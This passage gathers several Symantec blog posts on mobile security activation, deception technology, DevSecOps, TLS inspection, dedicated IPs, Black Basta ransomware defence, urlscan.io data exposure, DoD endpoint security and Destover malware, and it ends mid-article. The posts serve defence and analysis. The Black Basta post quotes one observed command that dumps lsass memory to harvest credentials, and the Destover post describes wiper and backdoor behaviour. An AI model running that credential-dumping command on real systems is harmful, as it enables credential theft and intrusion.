Second, prompting permissions at a later stage may be too late to protect against certain security breaches. For example: asking for permission to install a protection VPN only after a security incident has been detected may not be effective – at that point the device may already be breached. The permissions we ask for are critical to enabling a high level of security on the device and reflect specific security policies and protection actions set by the organization.
Data showing permission approval rates from SEP Mobile end-users indicates how successful our activation sequence is on the field:
Mandatory: End-user cannot move forward in the activation sequence with accepting permission; Optional: End-user can choose to skip permission approval and move forward in the activation sequence
We see that an overwhelming majority of end-users accept our permissions. The notably high rates (for comparison, a 2018 survey found that the average push notification opt-in rate among US smartphone users is only 53%) indicate that even with a multi-step activation process, we have no problem getting end-users to fully-activate SEP Mobile on their devices. While zero-touch may be touted as a way to increase MTD adoption, manual activation is clearly not a reason for low adoption.
3. The line between personal and business is increasingly becoming blurred. Therefore, we make it a priority to respect the end-user's privacy preferences, even if their device is corporate-owned. To prevent any uncertainty about our app actions, we clearly explain why SEP Mobile needs each requested permission and how this information will be used, before we ask for approval.
4. We always make sure to adhere to guidelines published by the mobile OS vendors.
Below is a video showing our activation process and permissions sequence on an iOS device. We believe the 30 seconds it takes to complete the process are necessary to ensure organizations get the maximum value from SEP Mobile.
SEP Mobile Activation on iOS
When Zero-Touch Activation May Make Sense
There’s no reason to go against the grain if activation without user interaction is right for your business. This may be the case in organizations where devices are corporate owned or managed through an EMM and permissions can be automatically accepted by an admin on behalf of users.
Ultimately, we believe every organization should define the security policy and associated protection actions that best fit their needs. SEP Mobile is continuously working with customers to provide a variety of deployment methods for optimal mobile security, without impacting business.
|
Deception in Depth. A New Approach
Cyber criminals have been successfully deceiving end users for decades. Now’s an opportunity to give them a taste of their own medicine.
“Although to use deception in any action is detestable, nevertheless in waging war it is praiseworthy and brings fame: he who conquers the enemy by deception is praised as much as he who conquers them by force.” — Machiavelli, Discourses on Livy
One of my earliest childhood memories is being called to the front at a magic show. The tuxedoed compère was playing with cups and counters and I had to guess under which cup the counter would end up. Everyone knew how this game would play out, except me. I watched him whirl the cups around at speed, easily keeping pace with where I believed the counter to be. When he finally stopped and asked me to identify the cup that covered the counter, I pointed with absolute certainty at the one on the left. My disappointment was palpable as he revealed that the counter was under another cup. I recall to this day a feeling of being hoodwinked. Deceived.
Fast forward more years than I care to name, and while I may not have forgiven the magician in question, I have come to view Deception differently, especially in the context of cyber security. As a perfectly legitimate extension to tried and tested cyber controls, Deception as a discipline offers incredible value to security teams. Allow me to explain.
It is incumbent on all of us in this field to acknowledge one thing; that attackers occasionally get through. Decades of security research and investment have brought many benefits to modern organizations, including the ability to do business within an environment where criminals are using automation and field intelligence to maximum effect. With 111 billion lines of software code generated last year, the attack surfaces are proliferating and it is a testament to the strength of the vendor and customer ecosystem that the vast majority of threats are stopped before they become breaches. However, it is a uniquely twenty-first century pragmatism in cyber security to acknowledge that attackers can and do find ways through in support of their campaigns. It is at this point that Deception becomes critical.
Once a hacker has penetrated a network the game is mostly over. The attacker knows that they have achieved something of huge potential value and will be seeking ways to move laterally to higher value targets within the environment. This will mean he will perform stealth reconnaissance from the compromised endpoint. Now, imagine a mesh of highly convincing yet highly fake clues left on client machines and designed to encourage interaction from threat actors that have successfully penetrated an organization’s defenses.
By gathering information about IP address conventions, naming conventions and other devices of interest on the local segment, the attacker thinks he can start to identify potential systems to jump to. He may look at network shares, cached RDP sessions, browser caches, credentials stored in memory for more clues on identities that could support his campaign or other machines that could allow him to pivot further into the estate and closer to the high value targets.
Traditionally, all these activities would go unnoticed by security solutions and the attacker would fly under the radar with relative impunity, using misdirection tactics like DDOS attacks to distract security teams from the few alerts that he was generating. This way, the road to high value assets would be unhindered, as witnessed by the fact that breaches still take hundreds of days to be discovered, often after the attack has completed. However, with Deception in place while interacting with these pieces of bait, the attacker generates high fidelity alerts, betraying his position and his intent on the network.
Deception has been a legitimate tactic in warfare for thousands of years. The Art of War, quoted so heavily in our industry, puts great emphasis on it. William the Conqueror used ‘feigned retreats’ as a tactic during the Battle of Hastings, and a forged order to retreat ensured the capture of a key strategic enclave during the Crusades. Cyber criminals have been successfully deceiving end users for decades. WannaCry is one of the most recent examples of this.
Deception as a counter-tactic in cyber security offers something unique. High confidence alerts. By laying down a mesh of fake reconnaissance assets, you create something that no legitimate user or system should ever interact with. Concealing Deceptive artefacts from real users minimizes false positives and increases confidence that attempts to interact with these pieces of bait are foul play. By giving incoming alerts from the Deception solution high credibility, SOC teams can action these alerts as a matter of priority, with the understanding that they represent real nefarious activity in the environment.
With this focus on high fidelity alerts received from the Deception infrastructure, security operatives have an advanced detection mechanism that there is an insider threat or a real attacker established on the network. By actioning these alerts, they can quickly identify compromised end points and invoke incident response processes to contain and quarantine the endpoint and understand how the breach occurred in the first place.
Symantec’s industry-leading Endpoint protection solution, SEP14 has integrated Deception capabilities. This means that attackers seeking to compromise an infrastructure and move laterally in pursuit of higher value targets can be encouraged to interact with fake reconnaissance information and reveal his position on the network.
When all else has failed, Deception can deliver.
|
Deciphering DevSecOps
Security needs to be an integral part of the DevOps roadmap. Enterprise Strategy Group’s Doug Cahill shows the way
Security has moved to the forefront of the IT agenda as organizations push forward with digital transformation initiatives. At the same time, DevOps, a methodology that applies agile and lean principles to software development, is also a top priority. The problem is the two enterprise strategies are often not aligned.
We recently spoke with Doug Cahill, senior analyst and group director at Enterprise Strategy Group, to get his take on the importance of the DevSecOps approach as well as how to retool organizations to adopt the emerging principle.
Q: Cyber security is often not an integral part of the DevOps roadmap. What are the dangers of such a siloed approach and what is the impact on the business?
A: Application development is now often being driven out of line of business, outside of the purview of centralized IT and cyber security teams. That’s because there’s a need to get new applications into production, or update applications already in production, as quickly as possible.
The risk of not having security integrated in a decentralized IT and application development approach is that there are too often no security controls applied. That means that too often new “code-as-infrastructure” is getting deployed into production for which security wasn't contemplated at all.
Another problem is the use of default settings. Some basic examples are server workloads that are provisioned in the public cloud without going through a jump host or single proxy, which means they can be subject to being port scanned. Another common mistake is the lack of appropriate authentication controls; use of multifactor authentication (MFA) is something that a security practitioner would champion, but without security involvement in the DevOps process, it may not be thought about.
The risk to the business is as more application infrastructure becomes public cloud resident, we’re finding more of that is business-critical and sensitive. That exposes the organization to a variety of cyber security threats, both internal and external.
Q: Explain the schism between DevOps and cyber security teams that leads to siloed operations and failure to embrace more integrated DevSecOps practices.
A: It is really based in competing objectives. The AppDev and DevOps teams are chartered with moving quickly, getting new applications to production and updating those applications iteratively based on feedback from the market. Security, on the other hand, is chartered with making sure those applications behave in their intended state, meaning they are not compromised. Therefore, security professionals generally take a more deliberate, methodical approach to their job.
Security practitioners sometimes see DevOps akin to running with scissors—bad things happen when you move fast, from their perspective. DevOps, on the other hand, thinks security is just going to slow them down. In reality, there is a way to secure infrastructure at the speed of DevOps, so it’s a misunderstanding based on competing objectives. The gap can be closed, but the first thing is to understand that there is a gap.
Q: There’s a lot of talk about “shifting security left,” but also “shifting security right.” Can you explain what is meant by both and how it addresses integrated DevSecOps best practices.
A: The shift security left, shift security right metaphors are akin to the notion of having security bolted in versus bolted on. Traditionally, security has been bolted on; it hasn’t always necessarily been part of the design center. The world of continuous integration and continuous delivery (CI/CD) is really an opportunity to bake security into all environments and stages from development to test to production environments. We can think of shift left as pre-deployment and shift right as runtime. The notes to shift right is a reminder that we still have to apply runtime controls to those production servers and applications to protect them from intrusions. This includes things like appropriate access controls in terms of updating host-based firewalls, anti-malware controls, and anti-exploit controls.
Q: Why should a company integrate security processes and controls with DevOps?
A: There are a number of really compelling benefits to integrating security into the CI/CD pipelines, something sometime referred to as DevSecOps. One is the ability to secure at scale. Just as groups autoscale based on the capacity requirements of the application, security will be automatically integrated with the way you orchestrate and provision the new server.
Integrating security controls helps organizations meet and maintain compliance with regulations such as PCI and DSS as environments are provisioned and managed through the DevOps processes. It’s really about security and compliance at scale, but there is also a level of efficiency. If you can automate applying the right security controls based on the role of the server workload, it’s a highly efficient approach. There are so many corollaries in terms of project work—we know if we have to go back and do things later, it’s much less efficient than doing it right the first time.
Q: What is your set of recommended best practices for putting DevSecOps into action?
A: The best practices for DevSecOps are composed of people, processes, and technologies. If we take a page out of the shared responsibility security model that cloud service providers talk about, CSPs are responsible for physical security, network security, all the way up to the hypervisor. The customers are responsible for everything north of the hypervisor like the workload, operating system, applications, data, identity and access management. We should have a similar approach for the relationship between the DevOps team and the security team—both teams need to work collaboratively to secure public cloud infrastructure.
The second is to look at this as a risk management approach. In larger organizations, you'll have multiple teams developing a wide variety of applications, but not all those applications have an equal level of risk to the business. If an organization is just starting down the DevSecOps path, they should start with one or two applications where they have the most risk for their business.
The next suggestion is to leverage the agile software development processes used to do CI/CD to write cyber security-related user stories. The cyber security team should partner with the product owner who is typically responsible for defining user stories and tasks that will be implemented over the course of the next sprint. The cyber security representative should really become part of the SCRUM team. They should be attending daily stand ups and explaining the value and importance of implementing these different user stories.
Q: Is there any sort of special ingredients that make for a DevSecOps-friendly culture?
A: I think it’s that security needs to be owned by everybody, and making security a requirement needs to come from leadership. You also need a dose of pragmatism—if an organization has a readiness gap and you’re playing catch-up, it’s taking a risk-based approach to identify where you have the most exposure and start there.
|
Deciphering the Challenges of Inspecting Encrypted Communication
Strong encryption is vital. Inspection is vital. Can you have your cake and eat it too?
Encryption is a necessary element to any enterprise security strategy. But the technology underlying encryption can often seem arcane and difficult to decipher. Complete with its own language and acronyms -- RFC 8446, SSL, TLS, ECDHE – encryption is an insider’s game. And for that reason, it is important to demystify the complexity around encrypted traffic technology in order to understand its impact on the enterprise – including challenges that can significantly affect security and operations.
Transport Layer Security (TLS) is the official Internet standard for high-security encrypted communications. Simply put, it is a protocol that allows client/server applications to securely communicate over the Internet. It is designed to prevent eavesdropping, tampering, and message forgery in those communications.
While heightened encryption is vitally important to enterprise communications, the ability to inspect that network traffic is equally vital.
The latest version of the standard, TLS 1.3, offers a number of improvements over the previous version of the protocol, TLS 1.2. It provides higher levels of security and it speeds up Internet communications by offering faster session establishment. TLS 1.3 removes support for legacy algorithms and only uses a set of strong cryptographic algorithms, eliminating a number of known TLS 1.2 vulnerabilities that could be exploited by cyber criminals.
Despite these advantages, there are challenges associated with the latest TLS protocol. While heightened encryption is vitally important to enterprise communications, the ability to inspect that network traffic is equally vital. The same heightened encryption can also be used to shield malware and other threats embedded in that traffic. With the encryption standard, can you solve for both? Can you have your cake and eat it too?
Developing the New Standard
At Symantec Enterprise, a division of Broadcom (NASDAQ: AVGO), we were intimately involved in the development of the specifications for the TLS 1.3 protocol. We contributed to the specification for the new standard. We co-authored a TLS proxy best practice document that is intended to guide the security industry when building TLS proxy implementations. And we are the co-authors of an analysis of the impact of TLS 1.3 on the network security industry.
Our close involvement in the development of the new standard provides us with a unique vantage point to discuss the strategies we believe enterprise leaders should consider when implementing responsible encryption practices that also address the hidden threats in network traffic. Here are my personal Top 4 Strategies.
Top 4 Strategies for your TLS 1.3 Inspection Solution
1. Prioritize Security
Enterprises should prioritize the strongest possible encryption for all communications. TLS 1.3 encryption supplies that heightened level. More than one-third of all enterprises, including many of the most popular and influential cloud-based application platforms including Netflix, and most major browsers and operating systems --including Android, Apple iOS, and Google Chrome-- have already implemented the new standard. Don’t be left behind.
2. Demand Quality and Performance
Ensure that your TLS 1.3 implementation has the strongest session and fastest communication possible by choosing the right TLS proxy for your networking environment. A TLS proxy is a network appliance deployed between endpoints, such as TLS clients and servers, and manages the TLS “handshake” that governs communications sessions using TLS encryption. It enables the enterprise to decrypt and re-encrypt the network traffic from each side of the TLS session, allowing filtering or inspection of network traffic to look for malware or other cyber threats.
TLS 1.3 offers stronger cipher suites than previous versions of the protocol. A TLS 1.3 implementation that builds upon the specification by supplying additional cipher suites allows your enterprise to look for malware or other hidden threats in a wider range of communications. Without support for those additional cipher suites, security can be degraded as suspect communication needs to be downgraded to a less secure security protocol – such as a previous TLS standard – to be inspected. This is particularly important for improving and speeding up the processes involved in encrypted communication inspection.
3. Consider Privacy Enhancements
A challenge inspecting network traffic is the potential to infringe upon the privacy rights of individuals. Growing privacy concerns among consumers worldwide is making selective inspection a new hot button issue in enterprise security. A TLS 1.3 implementation that solves for this challenge by allowing for selective inspection is a new best practice we strongly recommend.
4. Favor a Single Solution
Our final recommendation is to consider a single source vendor for your TLS 1.3 implementation. There is a volume of different products and vendors in the encryption security market. But a single vendor, such as Symantec Enterprise, whose products and solutions support the new encryption standard, enable faster session establishment, support all critical cipher suites, and add privacy enhancements that allow for stronger encrypted communication inspection - offers you the best value in terms of your security investment.
Symantec Enterprise TLS 1.3 inspection solutions solve these various challenges and follow Best Practices to further alleviate risk. Strong encryption is vital. Inspection is vital too. You can have your cake and eat it too.
|
Dedicated IP Addresses
Overcoming Hurdles for Cloud Transformation
A few weeks ago we launched Dedicated IP addresses, a popular and innovative new feature in our Cloud SWG (Secure Web Gateway) service. Dedicated IPs solve a number of key problems that most enterprise organizations will face as they transform to a cloud-centric network security model. Some key takeaways:
Completely cloud native - no dependency on the legacy data path or on-prem hardware
Designed to scale behind a small number of static IPs to minimize long-term maintenance of 3rd party app IP Access Control Lists (ACLs)
Compatible with all connection methods
No additional cost
In this blog, I’ll talk about how customers are already using the feature to retire legacy hardware and the role Symantec’s elastic infrastructure model played in getting this valuable technology to market.
A key factor often limiting the speed of a cloud transformation is the complexity of the end-user data path. Migrations can result in workloads being split between the legacy data path and the modern cloud data path for various reasons. More routing complexity equals a longer time to value and increases the fragility of the solution.
By integrating Dedicated IPs natively into our Cloud SWG, we eliminate a common cause of split routing where most web traffic goes directly to Cloud SWG but sensitive SaaS apps must continue to hairpin through the corporate data center to ensure that the apps are accessed using IPs unique to the customer’s legacy data centers. Most enterprises have dozens or perhaps hundreds of these sensitive SaaS apps. There are plenty of valid criticisms of this practice that I won’t attempt to adjudicate here. Regardless, none of the practitioners tasked with cloud transformation have any immediate power to change the status quo. Their only immediate concern is to get migrated to the cloud as quickly and painlessly as possible and Dedicated IPs in Cloud SWG provide an elegant solution.
The other common need is to preserve source IP-based conditional access rules common to Microsoft 365 and similar application suites. Enterprises often want to be sure that users are accessing the corporate app suite over a trusted, secure data path. To our customers, Cloud SWG is an extension (or replacement) of the legacy data path, so with the Dedicated IPs feature, Cloud SWG can provide the same “trust signal” as the legacy data path.
Dedicated IPs solve a number of key problems that most enterprise organizations will face as they transform to a cloud-centric network security model.
Let’s talk a little about how our infrastructure model improved customer outcomes by reducing the time it took us to get this feature to market. There are a lot of activities in the software engineering lifecycle. At the risk of oversimplifying things, there is a design phase, a development phase, and finally an operationalization phase. The design and development phases do not vary widely from vendor to vendor. Some have slightly more resources than others or slightly different approaches to development methodology, but these factors will typically not result in materially different delivery times.
However, in the operationalization phase, there can be massive differences in delivery times depending on the requirements of the solution design and the infrastructure model employed by the vendor. In particular, if the design requires new or upgraded physical infrastructure and if the vendor operates a significant number of what I call DIY (do-it-yourself) cloud data centers, the time it takes for them to mobilize new features can easily take months to years.
For this reason and many others, in 2020 Broadcom adopted a completely virtual stack built in Google Cloud and Azure allowing us to roll out infrastructure on a global scale and at an astonishing pace. Our technology even earned Broadcom customer of the year recognition from Google Cloud. But more importantly, it makes global deployment of new features requiring significant new infrastructure investment (like Dedicated IPs) possible in about 2 weeks. This capability also improved quality by making it easier to offer customers in diverse geographies access to early technology previews, providing critical customer validation and feedback.
As a product delivery team, we’re simultaneously very proud and very humble about our work here at Broadcom. Proud because of what we’ve helped customers accomplish and humbled by the ongoing opportunity to learn and improve. If you’d like to learn more, don’t hesitate to reach out to me directly or your account manager.
|
Defending Against Black Basta Ransomware
A comprehensive overview of attack chain disruption with Adaptive Protection
Black Basta overview
Operating as a ransomware-as-a-service (RaaS), the ransomware group known as “Black Basta” was identified by Symantec in April 2022. Symantec has continuously updated detections since then for tools and techniques used by this group.
The ransomware utilizes an array of attack tools and malware including the Qbot Trojan, Rubeus, SharpHound, SystemBC, Mimikatz, Cobalt Strike and many more.
Black Basta can cause serious damage, including stealing data or preventing access to critical resources. Once active, the Black Basta attack can quickly pivot and spread throughout the network.
Using Adaptive Protection to Stop Black Basta
While Symantec always has current protection, additional prevention can be put in place with Symantec Adaptive Protection to help protect against lateral movement and ransomware execution techniques used by an attacker. Adaptive protection provides a self-learning, customized policy for tools like PowerShell, PsExec, WMIC, and BITSAdmin. By enabling suggested Adaptive policies, attack chains are denied access to vectors that are critical for their operations while allowing legitimate usage of these tools in day-to-day operations. Adaptive for SEPM customers.
Adaptive policies can be a powerful tool to disrupt a Black Basta attack at multiple points.
Black Basta: How Adaptive Protection can disrupt the attack chain
Below a diagram of the attack chain of one variant of Black Basta is annotated at the points in the attack chain that Adaptive Protection can disrupt. Details follow.
Blocking the initial PowerShell execution: EncodedPowerShell commands are a common vector for hiding malicious actions.
Initial PowerShell base64 encoded command line can be detected and blocked by these Adaptive policies:
Blocking the Qbot payload download and execution: PowerShell is often used in attacks to download and execute malicious payloads.
QBot DLL downloaded by PowerShell command can be detected and blocked by these Adaptive policies:
Preventing initial compromise leveraging Qbot: QBot is deployed as a dll and executed by rundll32 to evade detection.
QBot DLL payload executed by rundll32 can be detected and blocked by these Adaptive policies:
Stoping lateral movement by preventing discover actions: Qbot initiates a series of discovery commands to collect information about the environment. The following commands have been observed running within the environment.
QBot launching net commands for discovery can be detected and blocked by these Adaptive policies:
Stopping Black Basta from establishing a persistent foothold: Persistence is required for any attack to continue over an extended period of time or across reboots. In this variant, a Scheduled Task is created to continue the attack.
QBot/Cobalt Strike establishing persistence can be detected and blocked by these Adaptive policies:
Preventing the injection and execution of Cobalit Strike: In our investigations, we have detected the usage of Cobalt Strike and SystemBC by the actors to establish a communication channel with their command-and-control servers.
Leveraging the functionalities provided by Cobalt Strike, the actors were able to load and execute multiple tools directly from memory, harnessing the framework's inherent capabilities. Based on our engagements, we observed the attackers employing in-memory execution of tools like Rubeus, SharpHound, and other similar utilities.
QBot injecting into random window processes can be detected and blocked by these Adaptive policies:
Preventing credential dumping: Actors tried to dump the lsass process memory in attempt to gather additional credentials that can be later used for moving laterally in the network. The following command has been observed running within the environment.
rundll32.exe CSIDL_SYSTEM\comsvcs.dll, #+000024 796 \Windows\Temp\zSC7U.wpd full
Preventing lateral movement by blocking remote exeution: Based on the information gathered from the preceding steps, the attackers employed “wmic” commands to execute their payloads. They initiated the execution by running a batch file script. Subsequently, they copied the ransomware payload to the “windows” directory and executed it remotely through “wmic”.
Black Basta using WMI for lateral movement can be detected and blocked by these Adaptive policies:
Preventing loss of data by protecting the Shadow Copy: Historical analysis of the ransomware reveals that in older versions, the actors would employ the "vssadmin" command to eliminate the shadow copy, effectively removing a potential avenue for data restoration prior to encrypting the machines.
Black Basta deleting shadow copies can be detected and blocked by these Adaptive policies:
Adaptive Heatmap for Black Basta
Adaptive Protection shows which behaviors have been observed in your enterprise, helping administrators to distinguish which potentially dangerous behaviors can be blocked without interfering with ongoing business processes. Adaptive Protection has a 3 month, 6 month and 1 year look back period of these observed behaviors. The Heatmap below contains the current policies that can help disrupt a Black Basta attack.
Conclusion
While the examples above are specific to Black Basta, Adaptive Protection can be used to prevent any threat actor attempting to use legitimate tools as part of their attack. It presents the SOC a clear view of legitimate usage of dual use tools in their organization, and combined with Symantec’s knowledge of the threat landscape, provides one-click hardening of end-points. More information on Adaptive Protection can be found here: Adaptive for SEPM customers.
|
Defending Data Requires More than Good Intentions
Symantec Research Labs used publicly available security scans to identify/expose private information
Symantec Research Labs (SRL) have discovered that the good intentions of a site like urlscan.io can lead to the exposure of sensitive, private information of individuals, employees, and organizations.
urlscan.io has a publicly available index of security scans they run on all the URLs that have been publicly submitted to their service by users around the world. The intention of the scans is to find and reveal domains that are used by malicious actors. In their About page, urlscan.io describes themselves as "a widely-used tool for security professionals and amateurs to investigate possibly malicious pages, such as phishing attempts or pages impersonating known brands." While the site offers users the possibility to run scans privately, so that reports are only seen by URL submitters, many scans are run in public mode.
Symantec Research Labs conducted a study on 700 Software-as-a-Service (SaaS) domains found in urlscan.io's publicly available index. They made SaaS domains the focus of the study because organizations increasingly rely on SaaS to improve productivity with employees, as well as to ensure compliance with local and global data processing regulations.
SRL found that two Fortune 500 organizations (one from the Engineering sector and one from the Technology sector), one government organization, and multiple organizations from the financial sector were affected by exposed data. The types of exposed data found, ranged from personally identifiable information (PII) such as names and usernames or email addresses to confidential documents, such as contracts requiring digital signatures. Upon discovery of this information, the SRL team contacted the urlscan.io team who promptly removed the reports from the public index.
While some of the exposed data can pose an immediate risk (e.g. a sensitive document leaked via a screenshot), other exposures like PIIs could lead to future social engineering attacks. PIIs associated with a specific context (e.g. attendance of a person to an inauguration ceremony, purchase of a product/service as shown by an invoice or booking confirmation, etc.) are especially vulnerable. In some cases, SRL found that actions were taken on behalf of users when links were followed, like accepting an appointment or unsubscribing from a mailing list, in Web applications with limited or non-existent authorization mechanisms.
SRL found that two Fortune 500 organizations (one from the Engineering sector and one from the Technology sector), one government organization, and multiple organizations from the financial sector were affected by exposed data.
The 700 SaaS domains reviewed by SRL had at least one URL and associated artefacts (e.g. HTML document, screenshot of the rendered page) made available by the urlscan.io API, but some of these URLs were completely innocuous (e.g. home page). To identify those URLs exposing sensitive information, a semi-automated clustering and review approach was used. While a fully automated process would be ideal, SRL took on the manual part of the process to be sure the data collected in their research was as accurate as possible.
The heuristics they used to classify data allowed SRL to separate with high precision URLs associated with sensitive data exposure (e.g. https://mycust.saasexample.com/sign?projectId=4356&user=mc from innocuous URLs.
As a result, SRL identified about 600 URLs from 76 domains exposing various types of sensitive information. This shows that while most domains use various techniques to protect sensitive information from being exposed (e.g. strict authorization and authentication, use of re-captcha to detect automated HTTP GET requests, or obfuscating or masking PIIs by replacing some characters with other characters such as *), about 10% of the domains expose some information.
What Domain Owners Can Do
Ten percent is too many. Symantec Research Labs recommends the following measures to all domain owners to help protect PII.
Web applications should assume that any personalized link they create could be exposed and offer relevant authentication and authorization checks.
Users often use link sharing on SaaS providers for content without realising that content at the end of a shared link can be exposed on the Web. Solutions that provide secure link following should be used, while ensuring that privacy settings for these SaaS solutions are configured company-wide to safeguard data.
Performing manual or automated link following (e.g. for security reasons) can have some serious consequences in terms of privacy if URLs are not sanitized before being checked and/or the target applications are too permissive. Companies using DIY automated URL lookup solutions can end up leaking sensitive data onto the Web.
As much as possible, headless URL browsing should respect robots.txt directives (either at the site or document level), or at least do not share their browsing results publicly. Leaving traces of exposed data (e.g. confidential documents, PIIs) poses a significant privacy risk to users and organizations. It can also lead to data governance compliance issues.
Using a product like Symantec DLP can help companies determine if links to sensitive content are being exposed outside the company.
If you found this information useful, you may also enjoy:
Symantec Data Loss Prevention
|
Defense Cyber Security Adapts to a World in Which Data is the New Endpoint
The Department of Defense is in the middle of a transition that just about every agency either has - or soon will - face
The United States Department of Defense (DOD) is the largest employer in the world with approximately 3.4 million employees. Those employees operate more than four million endpoint devices inside more than 500 cloud initiatives currently underway across the department.
That is a long way of saying the DOD is big, and its challenge to secure those endpoints is even bigger.
The Defense Information Systems Agency has begun creating a solution, the simply named Endpoint Security Solutions (ESS) program, which looks to create an integrated set of capabilities that can “detect, deter, protect and report on cyber threats” across all department networks.
For the DOD to make ESS successful, however, it must consider a new approach to data loss prevention and endpoint security. The widespread adoption of cloud and mobility solutions has redefined the network perimeter, forming a much more complex environment than the one that existed even five years ago.
Moving Away from HBSS
The DOD has been using the Host-Based Security System (HBSS) for more than a decade. This is a suite of commercial-off-the-shelf applications used to protect networks. Where this system struggles, and thus the need to replace it, is the lack of integration among the different components.
While each piece performed its individual job, the parts were not made to work with one another. As a result, there are potential security gaps that could result in unnecessary risk. As the network has shifted to include more mobile and cloud solutions, the security challenge has grown.
As ESS takes root, the DOD needs to incorporate an integrated security platform that extends to the data and application layer, a revision to the department’s traditional defense-in-depth strategy. The department must integrate solutions strategically, ensuring they are interoperable and unified, and work together in a comprehensive, orchestrated manner.
A Change of Thought
The DOD is in the middle of a transition that just about every agency either has faced or soon will. The network today is not static anymore. Employees take and use data that the job requires. That could be at home, a branch office, or in the coffee shop down the street. For the DOD, that often includes hostile locations.
The current constellation of endpoints includes far more than the prototypical desktop computers once found tethered to desks in a government building. Endpoints are nowadays everywhere. In fact, we need to think about data as the new endpoint and modern networks must react as such. The focus needs to be on data protection – where and how data is collected, used, stored, transferred and discarded.
An end-to-end solution will provide visibility into this data lifecycle. These security systems are made up of parts that work together with a focus on interoperability, cohesion and visibility. The goal is simply not to purchase whatever is considered the best-of-breed technology, but look at how that technology truly fits together.
A common analogy is to think of a football team. Put together a team of stars and, even if they are the best at their position, they will struggle against an organized opponent without their own cohesive plan in place.
ESS shows an incredible amount of promise. Once completed, the program will serve as the backbone of defense cyber security for years to come. Defense leaders must look at the complete architecture as they build this system. It is a monumental task to secure more than four million endpoints, but it is one that can be successful with the right approach.
If you found this information useful, you may also enjoy:
The Defense Information Systems Agency
DOD: Endpoint Security Solutions
|
Defining the Best Endpoint Security
Symantec delivers a broader and more effective endpoint defense
Endpoint security is challenging. Increased sophistication of attacks; the pressure to detect highly advanced attacks with resource shortages; the operational complexity and user impact from too many agents; new exposures from IOS and Android. “Challenging” is an understatement. The challenge breeds fear.
Fear breeds desperation. Limitations in one technology breed the next set of “silver bullets”. New companies become the fashion of the moment, only to fall in favor when the limitations of their narrow approach become apparent.
Symantec’s consistent leadership is broadly recognized across the industry by Gartner Peer Insights, Forrester, Radicati, Frost. Our leadership is rooted in key transformations we’re driving to deliver a more effective endpoint defense.
Continuous innovation. We’ve built most complete set of tech for prevention, advanced detection and response, and full remediation. From mobile threat defense, attack surface reduction, EDR, no one comes close. See the results
The most advanced attack analytics & threat hunting. Leveraging on-agent detectors, and the biggest threat research team in the civilian world, driven by expert SOC analysts to quickly resolve incidents.
Streamlining integration and boosting operational efficiency. Consolidating security services into a single agent and installer, operating numerous micro services that can be employed or paused, based on the threat levels.
Protecting Modern and Traditional Endpoints. Security model that works with modern IOS, Android, Windows 10s, and MAC as well traditional Windows platforms & Linux OS’s.
In a Hybrid Model. Enabling on-prem deployments, cloud deployments, and hybrid mixes.
These capabilities and our drive for continuous innovation fuel Symantec’s consistent leadership in Endpoint Security.
Though we’ve been the best - we are driving the next level of transformation in Endpoint Security. We’ll take the most effective endpoint security to new levels of efficiency and simplicity.
And remember, Symantec Endpoint Security is a best-in-class solution that integrates with best in class Web Security, Email Security, Information Protection, and Zero Trust cloud application access. Together, Symantec’s Integrated Cyber Defense reduces business risk, enables security organizations to respond faster, while reducing cost and complexity.
If you want the best new technology for your SOC investigators to play with? Call Symantec. If you also want the BEST endpoint security combining prevention, advanced detection and response, and the most expert SOC investigators and responders? Call Symantec. You want to figure out how to UPGRADE your entire cyber security architecture to lower risk AND costs? For all that, call Symantec.
|
Destover: Destructive malware has links to attacks on South Korea
Trojan capable of completely wiping an infected computer.
Backdoor.Destover, the destructive malware that was the subject of an FBI Flash Warning this week, shares several links to earlier attacks directed at targets in South Korea. Some samples of Destover report to a command-and-control (C&C) server that was also used by a version of Trojan.Volgmer crafted to attack South Korean targets. The shared C&C indicates that the same group may be behind both attacks.
Volgmer is a targeted piece of malware, likely used by a single group, which has been used in limited attacks, possibly as a first stage reconnaissance tool. It can be used to gather system information and download further files for execution. Significantly, the version of Volgmer which shares a C&C with Destover was configured specifically to attack South Korean targets and will only run on Korean computers.
Destover also share some techniques and component names with the Jokra attacks against South Korea in 2013. However there is no hard evidence as yet to link the attacks and a copycat operation can’t be ruled out. Links also exist to the Shamoon Attacks, with both attackers using the same, commercially available drivers. However, in this instance it appears highly unlikely that the same group was behind both attacks and instead it would appear that the Destover attacks copied techniques from Shamoon.
Destover in action
Destover is a particularly damaging form of malware that is capable of completely wiping an infected computer. It was the subject of an FBI Flash Warning earlier this week after at least one variant of it was understood to have been used in a high profile attack.
There are several malicious files associated with the FBI Destover report:
diskpartmg16.exe
net_ver.dat
igfxtrayex.exe
iissvr.exe
Diskpartmg16.exe is the first file that is created on an infected computer and, when executed, it creates the files net_ver.dat and igfxtrayex.exe.
When “diskpartmg16.exe” is run, it connects to a number of specific IP addresses within a set IP range, as well as computer names in the format “USSDIX[Machine Name]”. This indicates that this variant of Destover was not intended to be indiscriminate and the malware had instead been configured to only attack computers belonging to one particular organization.
The destructive payload of Destover is carried by igfxtrayex.exe. In certain instances, when run, it will:
Delete all files on fixed and remote drives
Modify the partition table
Install an additional module(iissvr.exe)
Connect to a number of IP addresses on ports 8080 and 8000.
Iissvr.exe, meanwhile, is a backdoor which listens on port 80. Once an attacker communicates with the compromised computer, this file displays a message, which reads:
“We’ve already warned you, and this is just a beginning. We continue till our request be met. We’ve obtained all your internal data including your secrets and top secrets. If you don’t obey us, we’ll release data shown below to the world. Determine what will you do till November the 24th, 11:00 PM(GMT). Post an email address and the following sentence on your twitter and facebook, and we’ll contact the email address. Thanks a lot to God’sApstls [sic] contributing your great effort to peace of the world. And even if you just try to seek out who we are, all of your data will be released at once.”
Links to Volgmer
Some samples of Destover seen by Symantec link to a C&C server that has been used by variants of Trojan.Volgmer in the past. Symantec has been tracking Trojan.Volgmer for several months. Volgmer is a threat capable of opening a back door on an infected computer, which allows the malware to communicate with a C&C server to retrieve system information, execute commands, upload files, and download files for execution.
Interestingly, the variants of Volgmer that share a C&C server with Destover are configured to end execution if the compromised computer’s region is not “Korea”.
Links to Jokra
The Destover attackers use techniques and components, such as file names, that are similar to those used in the Jokra attacks against South Korea in 2013. These attacks crippled servers belonging to several South Korean banks and broadcasting organizations and also defaced the website of a Korean telecoms firm.
The malware used in the Jokra attacks contained code that did not begin wiping the hard drive until a set time period expired. Destover is also configured to perform a delayed wipe. Furthermore, media outlets in South Korea have reported that a number of similar file names were used in both attacks (Korean language link).
Similarities to Shamoon attacks
